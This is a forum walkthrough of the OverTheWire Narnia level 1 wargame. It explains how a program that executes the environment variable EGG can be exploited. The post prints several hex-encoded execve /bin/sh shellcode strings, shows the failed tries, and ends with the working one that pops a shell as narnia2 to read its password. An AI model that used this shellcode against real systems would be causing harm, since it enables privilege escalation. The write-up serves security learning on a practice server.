Over The Wire: Narnia1 - Environment variables and Shellcode

Over The Wire: Narnia1 - Popping a shell.

Ok, now that we’ve gotten past narnia0, it’s time to do narnia1.
Go ahead and ssh into the narnia server with username narnia1 and the password acquired from level 0.

123loaded@redhat ssh [email protected]
ssh [email protected]

This is the OverTheWire game server. More information on http://www.overthewire.org/wargames

Please note that wargame usernames are no longer level, but wargamename
e.g. vortex4, semtex2, …

Note: at this moment, blacksun is not available.

[email protected]’s password:

Welcome to the OverTheWire games machine!

Then go ahead and check out the source code to narnia1.

narnia1@melinda:~$ cd /games/
narnia1@melinda:/games$ ls
behemoth eloi krypton manpage maze narnia semtex utumno vortex
narnia1@melinda:/games$ cd narnia
narnia1@melinda:/games/narnia$ ls
narnia0 narnia1.c narnia3 narnia4.c narnia6 narnia7.c
narnia0.c narnia2 narnia3.c narnia5 narnia6.c narnia8
narnia1 narnia2.c narnia4 narnia5.c narnia7 narnia8.c
narnia1@melinda:/games/narnia$ cat narnia1.c
int main(){
int (*ret)();

if(getenv(“EGG”)==NULL){
printf(“Give me something to execute at the env-variable EGG\n”);
exit(1);
}

printf(“Trying to execute EGG!\n”);
ret = getenv(“EGG”);
ret();

return 0;
}

Ok, so without going into the semantics of C and how they set the variable ret equal to a pointer to a function, we can see that this program gets data from the environment variable $EGG and then tries to run what is in $EGG. However, it isn’t just running it like passing it to a command line or anything… the way this code is written, the program gets the memory address of $EGG and sets it equal to ret. When ret() is called, the code is going to jump to where $EGG is stored, and from there it expects machine instructions to continue execution flow.

Essentially they’ve just given us a program where we have control of the execution flow, and by inserting specific machine instructions, we can call /bin/sh, under privileges of the user narnia2 to gain access to narnia2’s password. These machine instructions, are referred to as shellcode. Shellcode is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. The term shellcode literally refers to written code that starts a command shell, but often times shellcode is writen to do more robust tasks, commonly something like a reverse tcp bind to a given a remote user who is listening on the connect back port access to the shell he just popped.

Shellcode is operating system (read: architecture) and machine specific… the shellcode used to pop a shell on one architecture is not going to pop a shell on another architecture. (Note: machine specific is referring to a machine that has some BIOS options enabled such as disabling execute bit (NXBit), this may cause shellcode to work on one machine but not another even though they’re running the same OS and hardware.)

So, if you’re feeling super leet, you could write your own shellcode. This can be done as simply as creating a small program in C/C++ that literally just does “execve(”/bin/sh",0,0);", compile your program into an executable binary, and then extract the shellcode out of your binary using objdump, hd, xxd, or a custom program like @unh0lys0da’s h2d.

However, for this tutorial, we’re just going to google for shellcode and try some out until we find some that works. But first we need to know some system information, primarily just the architecture type of the CPU. For this info, we try “arch”, and then realize that the info given by arch really just specifies 32 or 64 bit… “lscpu” gives much more detailed info.

narnia1@melinda:~$ arch
x86_64
narnia1@melinda:~$ lscpu
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 8
On-line CPU(s) list: 0-7
Thread(s) per core: 1
Core(s) per socket: 1
Socket(s): 8
NUMA node(s): 1
Vendor ID: GenuineIntel
CPU family: 6
Model: 45
Stepping: 7
CPU MHz: 2599.998
BogoMIPS: 5202.66
Hypervisor vendor: KVM
Virtualization type: full
L1d cache: 32K
L1i cache: 32K
L2 cache: 256K
L3 cache: 20480K
NUMA node0 CPU(s): 0-7

Ok, so knowing that this is an Intel CPU that can run either 32 or 64 bit op-codes, this must be a 64 bit Intel CPU. A great website for shellcode is shell-storm. Once we find some shellcode we want to try, we need to create the environment variable $EGG and set it to our shellcode using the export command. But remember, shellcode (machine code in general) is not in the realm of printable ASCII (all the characters you know and can read)… we will use python to turn our shellcode into raw machine code.

narnia1@melinda:/games/narnia$ export EGG=`python -c ‘print “\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05”’`
narnia1@melinda:/games/narnia$ echo $EGG
H1�H�//bin/shH�SH��PWH���;

Ok, breaking this down, export creates an environment variable. In this case we named it EGG. We use python with the -c option to run a single command from the command line, rather than open python interpreter. We have to put quotes around the entire print command to have it work, and the print command itself requires that we pass its argument in quotes as well. (Note that it doesn’t matter whether you single quote the print statement and double quote its argument or double quote the print statement and single quote its argument, you just have to use different types of quotes for the different arguments.) The “\x” is telling python that the value is a hex value, which is always converted to/from machine code as two hexadecimal characters (0-9 or A-F). Hex values can be printable characters… for example, python -c ‘print “\x41\x42\x43\x44”’ will have python print out “ABCD” because A is 41 in hex, B is 42, and so on.

Lastly, we surround our entire python command in back ticks ( ` ) because when you put a command in back ticks, bash executes that statement first, and then uses the result in place of the back-ticked string. Conversely, this can be done by putting the statement in parenthesis like so, with a dollar sign at the front.

narnia1@melinda:/games/narnia$ export EGG=$(python -c ‘print “\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05”’)
narnia1@melinda:/games/narnia$ echo $EGG
H1�H�//bin/shH�SH��PWH���;

So now lets run narnia1!

narnia1@melinda:/games/narnia$ ./narnia1
Trying to execute EGG!
Segmentation fault

Errrr crap, would appear that that shellcode doesn’t work quite right on this architecture… let’s find another and try again.

narnia1@melinda:/games/narnia$ export EGG=`python -c ‘print “\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81”’`
narnia1@melinda:/games/narnia$ ./narnia1
Trying to execute EGG!
Segmentation fault

Nope… ok, lets try until something works.

narnia1@melinda:/games/narnia$ export EGG=`python -c ‘print “\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh”’`
narnia1@melinda:/games/narnia$ ./narnia1
Trying to execute EGG!
Segmentation fault
narnia1@melinda:/games/narnia$ echo $EGG
�[1��C��C
P�RS�;P̀�����/bin/sh
narnia1@melinda:/games/narnia$ export EGG=`python -c ‘print “\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x52\x53\x53\x6a\x3b\x58\xcd\x80”’`
narnia1@melinda:/games/narnia$ echo $EGG
�Rhn/shh//bi��QRSSj;X̀
narnia1@melinda:/games/narnia$ ./narnia1
Trying to execute EGG!
Segmentation fault
narnia1@melinda:/games/narnia$ export EGG=`python -c ‘print “\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05”’`
narnia1@melinda:/games/narnia$ echo $EGG
1�H�ѝ��Ќ��H��ST_�RWT^�;
narnia1@melinda:/games/narnia$ ./narnia1
Trying to execute EGG!
Segmentation fault
narnia1@melinda:/games/narnia$ export EGG=`python -c ‘print “\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43”’`
narnia1@melinda:/games/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ ls
narnia0 narnia1.c narnia3 narnia4.c narnia6 narnia7.c
narnia0.c narnia2 narnia3.c narnia5 narnia6.c narnia8
narnia1 narnia2.c narnia4 narnia5.c narnia7 narnia8.c
$ cd /etc/narnia_pass
$ ls
narnia0 narnia2 narnia4 narnia6 narnia8
narnia1 narnia3 narnia5 narnia7 narnia9
$ cat narnia2

Awesome. Now we have the password to narnia2, and more importantly, we have verified that a specific shellcode works on the narnia servers, because you Always want to verify your shellcode works before trying to jump into creating an exploit and want/Need to be able to rule that out as a possible reason your exploit might not be landing like you’d expect.

7 Likes

Nice post.

The different interrelations between user space and kernel regarding the architecture is not trivial. But as a general rule, what is relevant, from the point of view of a shellcode is the architecture of the user space. Anyone interested on how this works on Linux, should read this great article.

EDIT: What I tried to meant is that you need to look to the type of executable file narnia1 instead of looking to the processor. You can run 32bits code in a 64bits processor running a 64bits OS. Many of the sheelcodes you tried are 64bits. And the important thing related to 32/64 bits is that system calls have different id in each platform:

32bits exec -> 0c0b
64bits exec -> 0x3b
3 Likes

Ha xD It’s funny how the shellcode matched with the sites emoji function and inserted a :stuck_out_tongue_winking_eye: in the code. :laughing:

1 Like

The way the .text section is interpreted depends on what the ELF header of the file says right? (ELF32 or ELF64)

Your sentence is a bit broader I guess, but, in the context of the discussion in this post. Yes…

This topic was automatically closed after 30 days. New replies are no longer allowed.